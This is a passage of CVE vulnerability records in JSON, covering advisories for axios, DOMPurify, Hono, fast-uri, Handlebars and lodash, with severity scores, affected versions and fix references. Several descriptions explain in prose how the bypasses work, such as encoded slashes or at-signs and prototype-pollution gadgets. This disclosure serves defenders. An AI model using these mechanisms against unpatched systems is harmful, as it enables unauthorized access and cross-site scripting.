"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T18:00:33.121Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99"
}
],
"source": {
"advisory": "GHSA-vf2m-468p-8v99",
"discovery": "UNKNOWN"
},
"title": "Axios: HTTP adapter streamed responses bypass maxContentLength"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42036",
"datePublished": "2026-04-24T18:00:33.121Z",
"dateReserved": "2026-04-23T16:05:01.708Z",
"dateUpdated": "2026-04-24T18:32:49.313Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-41238 (GCVE-0-2026-41238)
Vulnerability from cvelistv5 – Published: 2026-04-23 14:43 – Updated: 2026-04-23 16:22| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-41238",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-23T16:20:12.329842Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-23T16:22:34.174Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "DOMPurify",
"vendor": "cure53",
"versions": [
{
"status": "affected",
"version": "\u003e= 3.0.1, \u003c 3.4.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions 3.0.1 through 3.3.3 are vulnerable to a prototype pollution-based XSS bypass. When an application uses `DOMPurify.sanitize()` with the default configuration (no `CUSTOM_ELEMENT_HANDLING` option), a prior prototype pollution gadget can inject permissive `tagNameCheck` and `attributeNameCheck` regex values into `Object.prototype`, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes \u2014 including event handlers \u2014 through sanitization. Version 3.4.0 fixes the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1321",
"description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-23T14:43:17.730Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp"
},
{
"name": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
}
],
"source": {
"advisory": "GHSA-v9jr-rg53-9pgp",
"discovery": "UNKNOWN"
},
"title": "DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-41238",
"datePublished": "2026-04-23T14:43:17.730Z",
"dateReserved": "2026-04-18T03:47:03.135Z",
"dateUpdated": "2026-04-23T16:22:34.174Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-29045 (GCVE-0-2026-29045)
Vulnerability from cvelistv5 – Published: 2026-03-04 22:09 – Updated: 2026-03-05 15:42- CWE-177 - Improper Handling of URL Encoding (Hex Encoding)
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-29045",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-05T15:39:29.390771Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-05T15:42:05.041Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003c 4.12.4"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.12.4, when using serveStatic together with route-based middleware protections (e.g. app.use(\u0027/admin/*\u0027, ...)), inconsistent URL decoding allowed protected static resources to be accessed without authorization. The router used decodeURI, while serveStatic used decodeURIComponent. This mismatch allowed paths containing encoded slashes (%2F) to bypass middleware protections while still resolving to the intended filesystem path. This issue has been patched in version 4.12.4."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-177",
"description": "CWE-177: Improper Handling of URL Encoding (Hex Encoding)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-04T22:09:22.045Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-q5qw-h33p-qvwr",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-q5qw-h33p-qvwr"
},
{
"name": "https://github.com/honojs/hono/commit/6a0607a929d888893f0c91d92dce2fcfdb3662a3",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/commit/6a0607a929d888893f0c91d92dce2fcfdb3662a3"
}
],
"source": {
"advisory": "GHSA-q5qw-h33p-qvwr",
"discovery": "UNKNOWN"
},
"title": "Hono: Arbitrary file access via serveStatic vulnerability"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-29045",
"datePublished": "2026-03-04T22:09:22.045Z",
"dateReserved": "2026-03-03T17:50:11.243Z",
"dateUpdated": "2026-03-05T15:42:05.041Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-6322 (GCVE-0-2026-6322)
Vulnerability from cvelistv5 – Published: 2026-05-05 10:29 – Updated: 2026-07-03 12:05- CWE-436 - Interpretation Conflict
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-6322",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-05T12:55:25.956279Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-05T12:55:43.750Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cluster_observability_operator:1.5::el9"
],
"defaultStatus": "affected",
"product": "Cluster Observability Operator 1.5.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:discovery:2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Discovery 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.20::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.20",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.21::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.21",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.22::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.22",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.10::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.12::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.12",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6.18::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Satellite 6.18",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.11::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.11",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:confidential_compute_attestation:1"
],
"defaultStatus": "affected",
"product": "Confidential Compute Attestation",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhmt:1"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Containers",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "affected",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_lightspeed"
],
"defaultStatus": "affected",
"product": "OpenShift Lightspeed",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:1"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:0"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop - Tech Preview",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:edge_manager:1"
],
"defaultStatus": "affected",
"product": "Red Hat Edge Manager 1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4"
],
"defaultStatus": "affected",
"product": "Red Hat Openshift Data Foundation 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat OpenShift Virtualization 4",
"vendor": "Red Hat"
}
],
"datePublic": "2026-05-05T10:29:16.378Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in fast-uri. A remote attacker could exploit this vulnerability by crafting a malicious Uniform Resource Identifier (URI) that contains percent-encoded authority delimiters. The fast-uri library incorrectly decodes these delimiters during normalization and then re-emits them as raw separators, which can change the URI\u0027s intended authority. This issue allows applications that perform host allowlist checks, redirect validation, or outbound request routing to be steered to a different authority than specified, potentially bypassing security controls."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-140",
"description": "Improper Neutralization of Delimiters",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-03T12:05:08.078Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-6322"
},
{
"name": "RHBZ#2466684",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466684"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-6322.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34160"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34342"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25273"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34374"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:29197"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:29800"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:29834"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:29796"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:29795"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33683"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:30076"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:28571"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26225"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25271"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:34160: Red Hat Ansible Automation Platform 2.6 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:34342: Cluster Observability Operator 1.5.0"
},
{
"lang": "en",
"value": "RHSA-2026:25273: Red Hat Advanced Cluster Management for Kubernetes 2.16"
},
{
"lang": "en",
"value": "RHSA-2026:34374: Red Hat Ansible Automation Platform 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:26234: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:29197: Red Hat Discovery 2"
},
{
"lang": "en",
"value": "RHSA-2026:29800: Red Hat OpenShift Container Platform 4.20"
},
{
"lang": "en",
"value": "RHSA-2026:29834: Red Hat OpenShift Container Platform 4.21"
},
{
"lang": "en",
"value": "RHSA-2026:29796: Red Hat OpenShift Container Platform 4.22"
},
{
"lang": "en",
"value": "RHSA-2026:29795: Red Hat OpenShift Container Platform 4.22"
},
{
"lang": "en",
"value": "RHSA-2026:33683: Red Hat Quay 3.10"
},
{
"lang": "en",
"value": "RHSA-2026:30076: Red Hat Quay 3.12"
},
{
"lang": "en",
"value": "RHSA-2026:28571: Red Hat Quay 3.9"
},
{
"lang": "en",
"value": "RHSA-2026:26225: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:25271: multicluster engine for Kubernetes 2.11"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-05-05T11:01:00.332Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-05-05T10:29:16.378Z",
"value": "Made public."
}
],
"title": "fast-uri: fast-uri: URI authority bypass due to improper delimiter handling",
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/fast-uri",
"product": "fast-uri",
"vendor": "fast-uri",
"versions": [
{
"lessThan": "3.1.2",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "3.1.2",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Jvr"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Matteo Collina"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Ulises Gasc\u00f3n"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "KaKa"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "fast-uri normalize() decoded percent-encoded authority delimiters inside the host component and then re-emitted them as raw delimiters during serialization. A host that combined an allowed domain, an encoded at-sign, and a different domain was re-emitted with the at-sign as a raw userinfo separator, changing the URI\u0027s authority to the second domain. Applications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the input appeared to specify. Versions \u003c= 3.1.1 are affected. Update to 3.1.2 or later."
}
],
"value": "fast-uri normalize() decoded percent-encoded authority delimiters inside the host component and then re-emitted them as raw delimiters during serialization. A host that combined an allowed domain, an encoded at-sign, and a different domain was re-emitted with the at-sign as a raw userinfo separator, changing the URI\u0027s authority to the second domain. Applications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the input appeared to specify. Versions \u003c= 3.1.1 are affected. Update to 3.1.2 or later."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-436",
"description": "CWE-436: Interpretation Conflict",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-05T10:29:16.378Z",
"orgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"shortName": "openjs"
},
"references": [
{
"url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-v39h-62p7-jpjc"
},
{
"url": "https://cna.openjsf.org/security-advisories.html"
}
],
"title": "fast-uri vulnerable to host confusion via percent-encoded authority delimiters",
"x_generator": {
"engine": "cve-kit 1.0.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"assignerShortName": "openjs",
"cveId": "CVE-2026-6322",
"datePublished": "2026-05-05T10:29:16.378Z",
"dateReserved": "2026-04-14T20:28:09.160Z",
"dateUpdated": "2026-07-03T12:05:08.078Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-33916 (GCVE-0-2026-33916)
Vulnerability from cvelistv5 – Published: 2026-03-27 21:00 – Updated: 2026-03-30 15:41| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| handlebars-lang | handlebars.js |
Affected:
>= 4.0.0, < 4.7.9
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-33916",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-30T15:41:27.326408Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-30T15:41:36.977Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "handlebars.js",
"vendor": "handlebars-lang",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.0.0, \u003c 4.7.9"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered without HTML escaping, resulting in reflected or stored XSS. Version 4.7.9 fixes the issue. Some workarounds are available. Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries, and/or use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.7,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1321",
"description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T21:00:48.624Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9"
},
{
"name": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"name": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"source": {
"advisory": "GHSA-2qvq-rjwj-gvw9",
"discovery": "UNKNOWN"
},
"title": "Handlebars.js has Prototype Pollution Leading to XSS through Partial Template Injection"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-33916",
"datePublished": "2026-03-27T21:00:48.624Z",
"dateReserved": "2026-03-24T15:41:47.492Z",
"dateUpdated": "2026-03-30T15:41:36.977Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-4800 (GCVE-0-2026-4800)
Vulnerability from cvelistv5 – Published: 2026-03-31 19:25 – Updated: 2026-07-03 12:04- CWE-94 - Improper Control of Generation of Code ('Code Injection')
| Vendor | Product | Version | |||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| lodash | lodash |
Affected:
4.0.0 , < 4.18.0
(semver)
Unaffected: 4.18.0 (semver) |
|||||||||||||||||
|
|||||||||||||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-4800",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-31T20:36:55.080392Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-31T20:37:03.964Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9",
